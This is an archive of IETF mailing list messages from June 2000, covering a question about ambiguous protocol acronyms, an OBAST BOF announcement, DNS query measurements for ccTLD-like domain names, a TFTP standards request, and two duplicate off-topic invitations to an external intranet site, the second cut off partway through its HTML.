From owner-ietf-outbound  Thu Jun  1 07:10:35 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA19419
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 07:10:02 -0400 (EDT)
Received: from latimer.mail.easynet.net (latimer.mail.easynet.net [195.40.1.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19137
	for <ietf@ietf.org>; Thu, 1 Jun 2000 07:05:05 -0400 (EDT)
Received: from magazov (tnt-12-150.easynet.co.uk [212.134.20.150])
	by latimer.mail.easynet.net (Postfix) with SMTP id CAD675381D
	for <ietf@ietf.org>; Thu,  1 Jun 2000 12:05:02 +0100 (BST)
Message-ID: <00ac01bfcbb9$5ca579c0$201286d4@magazov>
From: "salavat" <salavat@UKONLINE.CO.UK>
To: "IETF mailing list" <ietf@ietf.org>
Subject: Acronims' ambiquity
Date: Thu, 1 Jun 2000 12:05:03 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_00A9_01BFCBC1.9E2AE080"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_00A9_01BFCBC1.9E2AE080
Content-Type: text/plain;
	charset="koi8-r"
Content-Transfer-Encoding: 7bit

Hello

I am a bit confused by the acronims used in IETF drafts, e.g. in some places
SPI stands for Security Parameter Index, in others Indentifier. The same
with ESP (Payload or Protocol). There are a lot of such acronims, and
although in shown examples it does not make much difference I met several
very confusing. Is there any document specifying the use and meaning of
acronims?

Regards
Salavat R. Magazov


------=_NextPart_000_00A9_01BFCBC1.9E2AE080
Content-Type: text/x-vcard;
	name="Salavat R. Magazov.vcf"
Content-Disposition: attachment;
	filename="Salavat R. Magazov.vcf"
Content-Transfer-Encoding: 7bit

BEGIN:VCARD
VERSION:2.1
N:Magazov;Salavat;R.
FN:Salavat R. Magazov
ORG:University of Kent at Canterbury
TEL;HOME;VOICE:+44-1227-472835
EMAIL;PREF;INTERNET:srm4@ukc.ac.uk
EMAIL;INTERNET:salavat@ukonline.co.uk
REV:20000601T110503Z
END:VCARD

------=_NextPart_000_00A9_01BFCBC1.9E2AE080--



From owner-ietf-outbound  Thu Jun  1 07:20:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA19662
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 07:20:02 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19387
	for <ietf@ietf.org>; Thu, 1 Jun 2000 07:09:24 -0400 (EDT)
Message-Id: <200006011109.HAA19387@ietf.org>
From: The IETF Secretariat <ietf-secretariat@ietf.org>
To: ietf@ietf.org
Subject: IETF List maintenance
Reply-to: ietf-request@ietf.org
Date: Thu, 01 Jun 2000 07:09:24 -0400
Sender: scoya@cnri.reston.va.us
X-Loop: ietf@ietf.org


To remove yourself from the IETF discussion list, send a message to
ietf-request@ietf.org

Enter just the word unsubscribe in the body of the message.

NOTE: List requests do not take effect until the next day, and there
      are always messages in the outbound queue. As such, you may 
      continue receiving messages for a short while after successfully
      unsubscribing from the list.



The IETF discussion list serves two purposes. It furthers the
development and specification of Internet technology through discussion
of technical issues. It also hosts discussions of IETF direction,
policy, and procedures. As this is the most general IETF mailing list,
considerable latitude is allowed. Advertising, whether to solicit
business or promote employment opportunities, falls well outside the
range of acceptable topics, as do discussions of a personal nature.

This list is meant for initial discussion only. Discussions that fall
within the area of any working group or well established list should be
moved to such more specific forum as soon as this is pointed out,
unless the issue is one for which the working group needs wider input
or direction.

In addition to the topics noted above, appropriate postings include: 

o Last Call discussions of proposed protocol actions 
o Discussion of technical issues that are candidates for IETF work, but
  do not yet have an appropriate e-mail venue
o Discussion of IETF administrative policies 
o Questions and clarifications concerning IETF meetings. 

Inappropriate postings include: 
o Unsolicited bulk e-mail 
o Discussion of subjects unrelated to IETF policy, meetings,
  activities, or technical concerns
o Unprofessional commentary, regardless of the general subject. 

The IETF Chair, the IETF Executive Director, or a sergeant-at-arms
appointed by the Chair is empowered to restrict posting by a person or
of a thread as they deem appropriate to limit abuse. Complaints
regarding their decisions should be referred to the IAB <iab@iab.org>



From owner-ietf-outbound  Thu Jun  1 08:40:47 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA21794
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 08:40:01 -0400 (EDT)
Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21612
	for <ietf@ietf.org>; Thu, 1 Jun 2000 08:34:01 -0400 (EDT)
Received: [from pobox2.mot.com (pobox2.mot.com [136.182.15.8]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id FAA22813 for <ietf@ietf.org>; Thu, 1 Jun 2000 05:34:01 -0700 (MST)]
Received: [from relay1.cig.mot.com (relay1.cig.mot.com [136.182.15.23]) by pobox2.mot.com (MOT-pobox2 2.0) with ESMTP id FAA11120 for <ietf@ietf.org>; Thu, 1 Jun 2000 05:34:01 -0700 (MST)]
Received: from email.mot.com (peregrine33 [160.15.82.33]) by relay1.cig.mot.com (8.8.8+Sun/SCERG-RELAY-1.11b) with ESMTP id HAA16128 for <ietf@ietf.org>; Thu, 1 Jun 2000 07:34:00 -0500 (CDT)
Sender: stewrtrs@cig.mot.com
Message-ID: <3936677A.AF591D5@email.mot.com>
Date: Thu, 01 Jun 2000 13:39:06 +0000
From: Randall Stewart <rstewar1@email.mot.com>
Organization: NAT
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: IETF Mailing List <ietf@ietf.org>
Subject: Re: New OBAST mailing list
References: <3933F493.2F46FEB7@email.mot.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Dear all:

After a few comments to correct my error I realize I was
a bit brief in my announcement on OBAST. Here is a description
from one of the primary contributors 'Phil Neumiller' that I
have stolen from one of his slide he recently presented...

What is obast?

o Obast = Open Base Station Transport

o OBAST is an IETF 48 Birds of a Feather (BOF) proposal.

o GOAL= Simple, open, standardized, IP backhaul protocol
  for bearer and signaling to/from cellular base stations
  AND WLAN access points

o Obast emphasizes supporting seamless mobility (nomadicity) using
  existing protocols whenever possible.

o Obast is subject to change and extension. We want it to be
  SIMPLE but smart and flexible too.

o Promote the IP everywhere concept in all wireless devices
  large and small.

o Terminate radio control at the base station or access point.

o Promote methods for achieving seamless IP mobility across diverse
radio
  access technologies.

o Synthesize work of others, i.e. IETF has lots of work that is
applicable to
  "open" wireless backhaul.

o Don't re-invent AAA, QOS methods, or mobility protocols.


< there is more...but I think I will stop my transcribing here >
< Phils presentation will be available on-line soon... please join
  the obast-list if any of the above interests you>

Thank you

R



Randall Stewart wrote:
> 
> Dear all:
> 
> A mailing list has been formed to discuss a
> Open Base Station Protocol (OBAST). This
> mailing list is a pre-cursor to a possible upcoming
> BOF. If you are interested in this discussion
> please join the list by subscribing as follows:
> 
> 
> Send the following command in email to:
> 
>   "majordomo@cig.mot.com":
> 
> and in the body of your message
> 
>  subscribe obast-list
> 
> or
> 
>  subscribe obast-list myemail@address
> 
> other commands understood by majordomo are:
> 
> who obast-list
> info obast-list
> index obast-list
> get obast-day-number-from-index
> 
> Note: You must be a member of the list to run the
>       above commands
> 
> Thanks
> 
> --
> Randall R. Stewart
> Member Technical Staff
> Network Architecture and Technology (NAT)
> 847-632-7438 fax:847-632-6733

-- 
Randall R. Stewart
Member Technical Staff
Network Architecture and Technology (NAT)
847-632-7438 fax:847-632-6733



From owner-ietf-outbound  Thu Jun  1 10:10:55 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA23758
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 10:10:02 -0400 (EDT)
Received: from small-gods.mit.edu (SMALL-GODS.MIT.EDU [18.177.0.248])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23560
	for <ietf@ietf.org>; Thu, 1 Jun 2000 10:02:05 -0400 (EDT)
Received: (from ghudson@localhost) by small-gods.mit.edu (8.9.3)
	id KAA00184; Thu, 1 Jun 2000 10:02:04 -0400 (EDT)
Message-Id: <200006011402.KAA00184@small-gods.mit.edu>
To: "salavat" <salavat@UKONLINE.CO.UK>
cc: "IETF mailing list" <ietf@ietf.org>
Subject: Re: Acronims' ambiquity 
In-Reply-To: Your message of "Thu, 01 Jun 2000 12:05:03 BST."
             <00ac01bfcbb9$5ca579c0$201286d4@magazov> 
Date: Thu, 01 Jun 2000 10:02:04 -0400
From: Greg Hudson <ghudson@MIT.EDU>
X-Loop: ietf@ietf.org

> There are a lot of such acronims, and although in shown examples it
> does not make much difference I met several very confusing. Is there
> any document specifying the use and meaning of acronims?

"The Tao of IETF" gives the meaning of some acronyms, but in general I
imagine that it would be a big job to maintain an up-to-date list of
IETF acronyms.

A good Internet-Draft will either footnote its buzzwords on the first
use or include a terminology section at the beginning.  But
Internet-Drafts are not filtered, so nothing prevents someone from
publishing a draft which is incomprehensible for whatever reason.



From owner-ietf-outbound  Thu Jun  1 11:20:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA25440
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 11:20:03 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA25361
	for <ietf@ietf.org>; Thu, 1 Jun 2000 11:14:30 -0400 (EDT)
Received: from gateway (h00a0c5e1478f.ne.mediaone.net [24.147.211.223])
	by chmls06.mediaone.net (8.8.7/8.8.7) with SMTP id LAA18708;
	Thu, 1 Jun 2000 11:14:28 -0400 (EDT)
Message-Id: <4.1.20000601110830.043ce620@pop.ne.mediaone.net>
X-Sender: rapo@mail130.pair.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 01 Jun 2000 11:11:06 -0400
To: "salavat" <salavat@UKONLINE.CO.UK>, "IETF mailing list" <ietf@ietf.org>
From: Pete Loshin <pete@loshin.com>
Subject: Re: Acronims' ambiquity
In-Reply-To: <00ac01bfcbb9$5ca579c0$201286d4@magazov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 12:05 PM 6/1/00 +0100, salavat wrote:

>I am a bit confused by the acronims used in IETF drafts, e.g. in some places
>SPI stands for Security Parameter Index, in others Indentifier. The same
>with ESP (Payload or Protocol). There are a lot of such acronims, and
>although in shown examples it does not make much difference I met several
>very confusing. Is there any document specifying the use and meaning of
>acronims?

Check out FYI 36 (RFC 2828), "Internet Security Glossary" for canonical
definitions.

-pl




+-------------------------------------------------------------+
| Pete Loshin                    http://Internet-Standard.com |
|                                                             |
| _IPv6 Clearly Explained_ Morgan Kaufmann January 1999       |
| _TCP/IP Clearly Explained_ 3rd ed Morgan Kaufmann June 1999 |
|                                                             |
+-------------------------------------------------------------+



From owner-ietf-outbound  Thu Jun  1 12:30:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA26881
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 12:30:02 -0400 (EDT)
Received: from ibd.ar.com (ibd.ar.com [63.194.205.75])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26752
	for <ietf@ietf.org>; Thu, 1 Jun 2000 12:24:45 -0400 (EDT)
Received: from loki (wessorh@loki.ar.com [10.10.10.88])
	by ibd.ar.com (8.9.0.Beta5/8.9.0.Beta5) with ESMTP id JAA04524;
	Thu, 1 Jun 2000 09:21:37 -0700 (PDT)
Date: Thu, 1 Jun 2000 09:21:37 -0700 (PDT)
From: Rick H Wesson <wessorh@ar.com>
To: Daryl Bunce <daryl.bunce@ATTWS.COM>
cc: ietf@ietf.org
Subject: RE: Cite on DNS-related traffic.
In-Reply-To: <200005302356.QAA07850@lizard.nwest.mccaw.com>
Message-ID: <Pine.LNX.4.10.10006010910390.18594-100000@loki.ar.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


Daryl,

I happen to own a iso-3166-2.com domain (ar.com) and a large part of the 
queries to my name servers are for  SLDs under .AR. which is the ccTLD
for Argentina.

The number of queries for *.com.ar.com., which all fail is significant
compared to queries for anything valid under ar.com.

I suspect similar behavior for any 2 letter SLD in a gTLD that has a
matching iso-3166-2 ccTLD. 

best regards,

-rick

On Tue, 30 May 2000, Daryl Bunce wrote:

> 
> I've often wondered how much of the overload is due to 
> browsers looking for XYZ.com, then looking for www.XYZ.com...
> Just one of those things thought about in the wee hours.
> 



From owner-ietf-outbound  Thu Jun  1 14:10:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA28863
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 14:10:02 -0400 (EDT)
Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28732
	for <ietf@ietf.org>; Thu, 1 Jun 2000 14:06:12 -0400 (EDT)
From: sthaug@nethelp.no
Received: (qmail 9706 invoked by uid 1001); 1 Jun 2000 18:06:11 +0000 (GMT)
To: wessorh@ar.com
Cc: daryl.bunce@ATTWS.COM, ietf@ietf.org
Subject: RE: Cite on DNS-related traffic.
In-Reply-To: Your message of "Thu, 1 Jun 2000 09:21:37 -0700 (PDT)"
References: <Pine.LNX.4.10.10006010910390.18594-100000@loki.ar.com>
X-Mailer: Mew version 1.05+ on Emacs 19.34.2
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Date: Thu, 01 Jun 2000 20:06:10 +0200
Message-ID: <9704.959882770@verdi.nethelp.no>
X-Loop: ietf@ietf.org

> I happen to own a iso-3166-2.com domain (ar.com) and a large part of the 
> queries to my name servers are for  SLDs under .AR. which is the ccTLD
> for Argentina.
> 
> The number of queries for *.com.ar.com., which all fail is significant
> compared to queries for anything valid under ar.com.
> 
> I suspect similar behavior for any 2 letter SLD in a gTLD that has a
> matching iso-3166-2 ccTLD. 

We made some measurements in 1998 to quantify this. The background is
that the Norwegian (.no) domain name authority (see www.norid.no) used
to have a rule that <ccTLD>.no couldn't be used, due to the well known
problems mentioned in RFC 1535. We wanted to see if this rule could be
relaxed. Thus we logged all DNS queries to several of the authoritative
.no name servers, to a number of other important recursive name servers,
and also all DNS requests passing through some LAN segments used to
interconnect the most important routers of one particular ISP.

We logged DNS requests over one week, to get statistically significant
data. Of the "problem requests" we only looked at requests for *.com.no,
because this was the most common case. Example of the results:

27888935 DNS requests (all possible names) through interconnect segments
 5710521 requests for *.com (20.5%)
    2550 requests for *.com.no (4.47e-4 of the *.com requests)

 8831582 DNS requests (all possible names) to non-recursive .no server
  359117 requests for *.com (4.07%)
    7869 requests for *.com.no (2.19% of *.com requests)

 5160927 DNS requests (all possible names) to recursive .no server
  100406 requests for *.com (1.95%)
   11588 requests for *.com.no (11.5% of *.com requests)

We concluded that we could live with the these numbers, and removed the
rule that <ccTLD>.no couldn't be used.

Steinar Haug, Nethelp consulting, sthaug@nethelp.no



From owner-ietf-outbound  Thu Jun  1 15:00:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA00458
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 15:00:02 -0400 (EDT)
Received: from hartman.aptis.com (h5b0a.s84f5.BayNetworks.COM [132.245.91.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00292
	for <ietf@ietf.org>; Thu, 1 Jun 2000 14:54:03 -0400 (EDT)
Received: by hartman.aptis.com with Internet Mail Service (5.5.2650.21)
	id <LTZTRBPP>; Thu, 1 Jun 2000 14:53:32 -0400
Message-ID: <684DAE114AC0D311A521009027177FF10F15F8@hartman.aptis.com>
From: Gary Malkin <gmalkin@nortelnetworks.com>
Reply-To: Gary Malkin <gmalkin@nortelnetworks.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: TFTP Extensions movement to full Standard
Date: Thu, 1 Jun 2000 14:53:28 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Greetings,

The TFTP Extensions (RFCs 2347, 2348 and 2349)
documents need to be moved to full standard.  To
do that, I need information about deployment
experience.  If there is anyone who uses the
extensions on a regular basis, please send me a
short email so that I can compile them into a
recommendation for the IESG.

Many thanks.

--------------------------------------------------
Gary Malkin                   Cheap, fast, good...
(978) 250-3635                           Pick two!



From owner-ietf-outbound  Thu Jun  1 18:50:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA06148
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 18:50:01 -0400 (EDT)
Received: from sudanmail.net ([212.0.148.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06112
	for <ietf@ietf.org>; Thu, 1 Jun 2000 18:48:42 -0400 (EDT)
Received: from shahalawy [212.0.148.95] by sudanmail.net
  (SMTPD32-5.05) id A8634D0078; Fri, 02 Jun 2000 01:49:07 +0300
Message-ID: <001f01bfcc23$9c809f60$640a12ac@shahalawy.cyber>
Reply-To: "Imperial Cyber Cafe'" <imperial1@sudanmail.net>
From: "Imperial Cyber Cafe'" <imperial1@sudanmail.net>
To: <ietf@ietf.org>
Subject: please join this site 
Date: Fri, 2 Jun 2000 01:46:29 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001C_01BFCC34.5F274CC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_001C_01BFCC34.5F274CC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear all IETF Members,

I have just create site for our group, so please join, the information's =
for this site as follows:

      Site Name:            IETF
      Intranet address:     http://ietforg.intranets.com
      Registration Code:    ietforg


the following is message from the site Admin to me (when I create it):


The Site Name is the name you reserved for your intranet site.
The Intranet address is the URL users will type to access your intranet
site.
The Registration Code must be entered by any invited member of your
group, in order to register as a user of your site.=20

__________________________________________
G E T T I N G   S T A R T E D
To access your intranet, each member must create a Login Name and
Password during the member registration process.

If you forgot the password you selected, we'll email it to you at
your request. Just follow this link:
http://ietforg.intranets.com/forgot.asp

As the creator of the site, you are the intranet administrator. As
the administrator, you have unlimited access to all features, and
exclusive access to permission settings and site customization options.
You may also choose to give another member administrator-level access.
To become familiar with administrative tasks, please review the =
Intranets.com
Administrator's Orientation:=20
http://ietforg.intranets.com/help/to.asp?page=3DOrCustom.html

__________________________________________
I N V I T I N G   O T H E R S
Now that you've created your intranet, invite the rest of your company,
department, or special interest group to join your intranet community.
Just click the Invite Others link at the lower-left of your intranet
to send personalized invitations. Each invitee will automatically
receive the simple instructions needed to become a member of IETF,
including the site Registration Code.

__________________________________________
M A K I N G   C H A N G E S
Once you log in to your site, you may change the site Registration
Code or Site Name listed above by clicking the Edit Site Options
link at the lower-left of your intranet.

You may change your personal Login Name and Password by clicking
Edit Member Options at the lower-left of your intranet.

If you have any questions about the use of your site, please consult
the integrated Help system, by clicking the Help button in the blue
title bar at the top of your intranet.

We are constantly updating the applications and features in =
Intranets.com,
and  we welcome member feedback to guide us in these efforts. If
you have suggestions for new or improved service features, please
click the Tell Us link at the bottom of your intranet home page and
tell us what you think!=20

Regards,

Khalid Shahalawy=20


------=_NextPart_000_001C_01BFCC34.5F274CC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Dear all IETF Members,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I have just create site for our =
group, so please=20
join, the information's for this site as follows:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Site=20
Name:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
IETF<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Intranet =
address:&nbsp;&nbsp;&nbsp;&nbsp;=20
<A=20
href=3D"http://ietforg.intranets.com">http://ietforg.intranets.com</A><BR=
>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Registration Code:&nbsp;&nbsp;&nbsp; ietforg<BR></DIV>
<DIV>&nbsp;</DIV>
<DIV>the following is message from the site Admin to me (when I create=20
it):<BR></DIV>
<DIV>&nbsp;</DIV>
<DIV>The Site Name is the name you reserved for your intranet =
site.<BR>The=20
Intranet address is the URL users will type to access your=20
intranet<BR>site.<BR>The Registration Code must be entered by any =
invited member=20
of your<BR>group, in order to register as a user of your site.=20
<BR><BR>__________________________________________<BR>G E T T I N =
G&nbsp;&nbsp;=20
S T A R T E D<BR>To access your intranet, each member must create a =
Login Name=20
and<BR>Password during the member registration process.<BR><BR>If you =
forgot the=20
password you selected, we'll email it to you at<BR>your request. Just =
follow=20
this link:<BR><A=20
href=3D"http://ietforg.intranets.com/forgot.asp">http://ietforg.intranets=
.com/forgot.asp</A><BR><BR>As=20
the creator of the site, you are the intranet administrator. As<BR>the=20
administrator, you have unlimited access to all features, =
and<BR>exclusive=20
access to permission settings and site customization options.<BR>You may =
also=20
choose to give another member administrator-level access.<BR>To become =
familiar=20
with administrative tasks, please review the =
Intranets.com<BR>Administrator's=20
Orientation: <BR><A=20
href=3D"http://ietforg.intranets.com/help/to.asp?page=3DOrCustom.html">ht=
tp://ietforg.intranets.com/help/to.asp?page=3DOrCustom.html</A><BR><BR>__=
________________________________________<BR>I=20
N V I T I N G&nbsp;&nbsp; O T H E R S<BR>Now that you've created your =
intranet,=20
invite the rest of your company,<BR>department, or special interest =
group to=20
join your intranet community.<BR>Just click the Invite Others link at =
the=20
lower-left of your intranet<BR>to send personalized invitations. Each =
invitee=20
will automatically<BR>receive the simple instructions needed to become a =
member=20
of IETF,<BR>including the site Registration=20
Code.<BR><BR>__________________________________________<BR>M A K I N=20
G&nbsp;&nbsp; C H A N G E S<BR>Once you log in to your site, you may =
change the=20
site Registration<BR>Code or Site Name listed above by clicking the Edit =
Site=20
Options<BR>link at the lower-left of your intranet.<BR><BR>You may =
change your=20
personal Login Name and Password by clicking<BR>Edit Member Options at =
the=20
lower-left of your intranet.<BR><BR>If you have any questions about the =
use of=20
your site, please consult<BR>the integrated Help system, by clicking the =
Help=20
button in the blue<BR>title bar at the top of your intranet.<BR><BR>We =
are=20
constantly updating the applications and features in =
Intranets.com,<BR>and&nbsp;=20
we welcome member feedback to guide us in these efforts. If<BR>you have=20
suggestions for new or improved service features, please<BR>click the =
Tell Us=20
link at the bottom of your intranet home page and<BR>tell us what you =
think!=20
<BR><BR>Regards,<BR><BR>Khalid Shahalawy </DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_001C_01BFCC34.5F274CC0--



From owner-ietf-outbound  Thu Jun  1 19:00:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA06335
	for ietf-outbound.10@ietf.org; Thu, 1 Jun 2000 19:00:03 -0400 (EDT)
Received: from sudanmail.net ([212.0.148.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06226
	for <ietf@ietf.org>; Thu, 1 Jun 2000 18:53:15 -0400 (EDT)
Received: from shahalawy [212.0.148.95] by sudanmail.net
  (SMTPD32-5.05) id A9737770116; Fri, 02 Jun 2000 01:53:39 +0300
Message-ID: <002f01bfcc24$3f11bfc0$640a12ac@shahalawy.cyber>
Reply-To: "Sudanet - Wad Medani" <compuserveco@sudanmail.net>
From: "Sudanet - Wad Medani" <compuserveco@sudanmail.net>
To: <ietf@ietf.org>
Subject: private please for IETF members
Date: Fri, 2 Jun 2000 01:50:45 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002A_01BFCC34.F7C9B3A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01BFCC34.F7C9B3A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear all IETF Members,
=20
I have just create site for our group, so please join, the information's =
for this site as follows:

      Site Name:            IETF
      Intranet address:     http://ietforg.intranets.com
      Registration Code:    ietforg


the following is message from the site Admin to me (when I create it):


The Site Name is the name you reserved for your intranet site.
The Intranet address is the URL users will type to access your intranet
site.
The Registration Code must be entered by any invited member of your
group, in order to register as a user of your site.=20

__________________________________________
G E T T I N G   S T A R T E D
To access your intranet, each member must create a Login Name and
Password during the member registration process.

If you forgot the password you selected, we'll email it to you at
your request. Just follow this link:
http://ietforg.intranets.com/forgot.asp

As the creator of the site, you are the intranet administrator. As
the administrator, you have unlimited access to all features, and
exclusive access to permission settings and site customization options.
You may also choose to give another member administrator-level access.
To become familiar with administrative tasks, please review the =
Intranets.com
Administrator's Orientation:=20
http://ietforg.intranets.com/help/to.asp?page=3DOrCustom.html

__________________________________________
I N V I T I N G   O T H E R S
Now that you've created your intranet, invite the rest of your company,
department, or special interest group to join your intranet community.
Just click the Invite Others link at the lower-left of your intranet
to send personalized invitations. Each invitee will automatically
receive the simple instructions needed to become a member of IETF,
including the site Registration Code.

__________________________________________
M A K I N G   C H A N G E S
Once you log in to your site, you may change the site Registration
Code or Site Name listed above by clicking the Edit Site Options
link at the lower-left of your intranet.

You may change your personal Login Name and Password by clicking
Edit Member Options at the lower-left of your intranet.

If you have any questions about the use of your site, please consult
the integrated Help system, by clicking the Help button in the blue
title bar at the top of your intranet.

We are constantly updating the applications and features in =
Intranets.com,
and  we welcome member feedback to guide us in these efforts. If
you have suggestions for new or improved service features, please
click the Tell Us link at the bottom of your intranet home page and
tell us what you think!=20

Regards,

Khalid Shahalawy=20

------=_NextPart_000_002A_01BFCC34.F7C9B3A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>Dear all IETF Members,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I have just create site for our =
group, so please=20
join, the information's for this site as follows:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Site=20
Name:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
IETF<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Intranet =
address:&nbsp;&nbsp;&nbsp;&nbsp;=20
<A=20
href=3D"http://ietforg.intranets.com">http://ietforg.intranets.com</A><BR=
>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Registration Code:&nbsp;&nbsp;&nbsp; ietforg<BR></DIV>
<DIV>&nbsp;</DIV>
<DIV>the following is message from the site Admin to me (when I create=20
it):<BR></DIV>
<DIV>&nbsp;</DIV>
<DIV>The Site Name is the name you reserved for your intranet =
site.<BR>The=20
Intranet address is the URL users will type to access your=20
intranet<BR>site.<BR>The Registration Code must be entered by any =
invited member=20
of your<BR>group, in order to register as a user of your site.=20
<BR><BR>__________________________________________<BR>G E T T I N =
G&nbsp;&nbsp;=20
S T A R T E D<BR>To access your intranet, each member must create a =
Login Name=20
and<BR>Password during the member registration process.<BR><BR>If you =
forgot the=20
password you selected, we'll email it to you at<BR>your request. Just =
follow=20
this link:<BR><A=20
href=3D"http://ietforg.intranets.com/forgot.asp">http://ietforg.intranets=
.com/forgot.asp</A><BR><BR>As=20
the creator of the site, you are the intranet administrator. As<BR>the=20
administrator, you have unlimited access to all features, =
and<BR>exclusive=20
access to permission settings and site customization options.<BR>You may =
also=20
choose to give another member administrator-level access.<BR>To become =
familiar=20
with administrative tasks, please review the =
Intranets.com<BR>Administrator's=20
Orientation: <BR><A=20
href=3D"http://ietforg.intranets.com/help/to.asp?page=3DOrCustom.html">ht=
tp://ietforg.intranets.com/help/to.asp?page=3DOrCustom.html</A><BR><BR>__=
________________________________________<BR>I=20
N V I T I N G&nbsp;&nbsp; O T H E R S<BR>Now that you've created your =
intranet,=20
invite the rest of your company,<BR>department, or special interest =
group to=20
join your intranet community.<BR>Just click the Invite Others link at =
the=20
lower-left of your intranet<BR>to send personalized invitations. Each =
invitee=20
will automatically<BR>receive the simple instructions needed to become a =
member=20
of IETF,<BR>including the site Registration=20
Code.<BR><BR>__________________________________________<BR>M A K I N=20
